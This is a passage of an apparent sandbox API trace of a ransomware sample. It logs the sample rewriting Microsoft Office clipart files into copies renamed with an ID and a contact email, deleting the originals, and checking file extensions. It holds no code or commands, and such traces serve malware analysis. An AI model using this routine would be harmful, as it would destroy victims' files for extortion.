lpNewFilePointer=0x0) returned 1 [0059.736] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0059.737] GetLastError () returned 0x0 [0059.737] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0059.739] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0059.740] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.740] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.740] SetEndOfFile (hFile=0x258) returned 1 [0059.740] CloseHandle (hObject=0x258) returned 1 [0059.740] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.740] SetEndOfFile (hFile=0x1ac) returned 1 [0059.741] CloseHandle (hObject=0x1ac) returned 1 [0059.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0059.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0059.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0059.741] lstrlenW (lpString=".doc") returned 4 [0059.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.741] lstrlenW (lpString=".docx") returned 5 [0059.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.742] lstrlenW (lpString=".pdf") returned 4 [0059.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.742] lstrlenW (lpString=".xls") returned 4 [0059.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.742] lstrlenW (lpString=".xlsx") returned 5 [0059.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.742] lstrlenW (lpString=".ppt") returned 4 [0059.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0059.742] lstrlenW (lpString=".zip") returned 4 [0059.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.742] lstrlenW (lpString=".rar") returned 4 [0059.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.742] lstrlenW (lpString=".bz2") returned 4 [0059.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.742] lstrlenW (lpString=".7z") returned 3 [0059.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0059.742] lstrlenW (lpString=".dbf") returned 4 [0059.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0059.742] lstrlenW (lpString=".1cd") returned 4 [0059.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0059.742] lstrlenW (lpString=".jpg") returned 4 [0059.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.743] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3524) returned 1 [0059.743] CloseHandle (hObject=0x1ac) returned 1 [0059.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0059.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.743] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.744] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0059.744] GetLastError () returned 0x0 [0059.744] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0059.749] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0059.750] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.750] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.750] SetEndOfFile (hFile=0x258) returned 1 [0059.750] CloseHandle (hObject=0x258) returned 1 [0059.750] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.750] SetEndOfFile (hFile=0x1ac) returned 1 [0059.751] CloseHandle (hObject=0x1ac) returned 1 [0059.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0059.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0059.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0059.752] lstrlenW (lpString=".doc") returned 4 [0059.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString=".docx") returned 5 [0059.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.752] lstrlenW (lpString=".pdf") returned 4 [0059.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString=".xls") returned 4 [0059.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.752] lstrlenW (lpString=".xlsx") returned 5 [0059.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.752] lstrlenW (lpString=".ppt") returned 4 [0059.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0059.752] lstrlenW (lpString=".zip") returned 4 [0059.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.752] lstrlenW (lpString=".rar") returned 4 [0059.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString=".bz2") returned 4 [0059.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString=".7z") returned 3 [0059.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0059.752] lstrlenW (lpString=".dbf") returned 4 [0059.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0059.752] lstrlenW (lpString=".1cd") returned 4 [0059.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0059.752] lstrlenW (lpString=".jpg") returned 4 [0059.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.753] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2488) returned 1 [0059.753] CloseHandle (hObject=0x1ac) returned 1 [0059.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0059.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.753] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.753] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0059.753] GetLastError () returned 0x0 [0059.753] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0059.755] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0059.756] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.756] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.756] SetEndOfFile (hFile=0x258) returned 1 [0059.756] CloseHandle (hObject=0x258) returned 1 [0059.756] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.756] SetEndOfFile (hFile=0x1ac) returned 1 [0059.757] CloseHandle (hObject=0x1ac) returned 1 [0059.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0059.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0059.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0059.758] lstrlenW (lpString=".doc") returned 4 [0059.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString=".docx") returned 5 [0059.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.758] lstrlenW (lpString=".pdf") returned 4 [0059.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString=".xls") returned 4 [0059.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.758] lstrlenW (lpString=".xlsx") returned 5 [0059.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.758] lstrlenW (lpString=".ppt") returned 4 [0059.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0059.758] lstrlenW (lpString=".zip") returned 4 [0059.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.758] lstrlenW (lpString=".rar") returned 4 [0059.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString=".bz2") returned 4 [0059.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString=".7z") returned 3 [0059.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0059.758] lstrlenW (lpString=".dbf") returned 4 [0059.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0059.758] lstrlenW (lpString=".1cd") returned 4 [0059.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0059.758] lstrlenW (lpString=".jpg") returned 4 [0059.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.759] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1676) returned 1 [0059.759] CloseHandle (hObject=0x1ac) returned 1 [0059.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0059.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.759] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.759] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0059.760] GetLastError () returned 0x0 [0059.760] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x68c, lpOverlapped=0x0) returned 1 [0059.762] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x690, lpOverlapped=0x0) returned 1 [0059.762] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.762] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.763] SetEndOfFile (hFile=0x258) returned 1 [0059.763] CloseHandle (hObject=0x258) returned 1 [0059.763] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.763] SetEndOfFile (hFile=0x1ac) returned 1 [0059.764] CloseHandle (hObject=0x1ac) returned 1 [0059.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0059.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0059.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0059.764] lstrlenW (lpString=".doc") returned 4 [0059.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.764] lstrlenW (lpString=".docx") returned 5 [0059.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.764] lstrlenW (lpString=".pdf") returned 4 [0059.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.764] lstrlenW (lpString=".xls") returned 4 [0059.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.764] lstrlenW (lpString=".xlsx") returned 5 [0059.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.764] lstrlenW (lpString=".ppt") returned 4 [0059.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0059.765] lstrlenW (lpString=".zip") returned 4 [0059.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.765] lstrlenW (lpString=".rar") returned 4 [0059.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.765] lstrlenW (lpString=".bz2") returned 4 [0059.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.765] lstrlenW (lpString=".7z") returned 3 [0059.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0059.765] lstrlenW (lpString=".dbf") returned 4 [0059.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0059.765] lstrlenW (lpString=".1cd") returned 4 [0059.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0059.765] lstrlenW (lpString=".jpg") returned 4 [0059.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.766] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3896) returned 1 [0059.766] CloseHandle (hObject=0x1ac) returned 1 [0059.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0059.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.766] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.766] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0059.767] GetLastError () returned 0x0 [0059.767] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xf38, lpOverlapped=0x0) returned 1 [0060.407] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0060.428] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.428] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.428] SetEndOfFile (hFile=0x258) returned 1 [0060.428] CloseHandle (hObject=0x258) returned 1 [0060.428] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.428] SetEndOfFile (hFile=0x1ac) returned 1 [0060.430] CloseHandle (hObject=0x1ac) returned 1 [0060.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0060.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.430] lstrlenW (lpString=".doc") returned 4 [0060.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.430] lstrlenW 